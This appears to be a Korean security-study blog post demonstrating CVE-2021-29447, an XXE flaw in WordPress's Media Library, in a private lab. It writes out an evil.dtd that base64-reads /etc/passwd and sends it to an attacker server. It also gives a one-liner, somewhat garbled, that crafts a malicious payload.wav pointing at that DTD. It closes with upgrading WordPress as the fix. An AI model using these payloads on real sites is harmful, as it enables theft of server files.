정보보안공부

[CVE-2021-29447] 'Media Library' XML External Entity Injection (XXE) 취약점 본문

CVE

[CVE-2021-29447] 'Media Library' XML External Entity Injection (XXE) 취약점

Steady_sp 2022. 3. 7. 16:26

■ 실습 환경

1) 피해자 - 192.168.164.150:9980 docker-wordpress 환경

2) 공격자 - 192.168.164.148 아파치-php 환경

 

■ 취약점 설명

CVE-2021-29447 : 파일을 업로드할 수 있는 사용자(예: 작성자)는 미디어 라이브러리의 XML 구문 분석 문제를 악용하여 XXE 공격을 일으킬 수 있습니다.

 

※ PHP8을 사용하는 Wordpress 환경에서 취약점 발생

 

■ Exploit 

1. wordpress 환경 구현 - docker-compose 이용

※ 참고URL : https://github.com/dnr6419/CVE-2021-29447

 

2. 공격자 서버(192.168.164.148) 웹루트에 evil.dtd 파일 생성

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM '192.168.164.148/?p=%file;'>" >

 

3. 업로드할 미디어 파일 payload생성

  • 해당 미디어파일(payload.wav)은 wordpress 사이트(192.168.164.150)에서 업로드 함
  • 생성한 payload.wav 파일은 filezila를 통해 Local 윈도우 pc로 파일 이동
  • 192.168.164.148은 공격자 서버 IP임
#> echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'%remote;%init;%trick;]>\x00'>http://192.168.164.148/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

 

4. wordpress(192.168.164.150)에 payload.wav 파일 업로드 시 공격자 서버(192.168.164.148)에서 access.log 출력해두기

  • 공격자 서버(192.168.164.148)로 요청되는 패킷 확인을 위해 로그 출력
#> tail -f /etc/httpd/logs/access_log

 

5. wordpress 내 생성한 payload.wav 파일 업로드

Step01) wordpress 내 "미디어 - 새로추가하기" 에 생성한 payload.wav 파일 업로드 시도

Step02) 업로드됨과 동시에 공격자서버 로그에 인코딩된 /etc/passwd 정보 확인

Step03) 획득한 인코딩 정보 디코딩 시 /etc/passwd 정보 획득이 가능함을 확인

 

■ 대응방안

1. Wordpress 5.7.1 버전에서 패치되어 5.7.1 이후 버전 사용

※ 참고 URL : https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/

Comments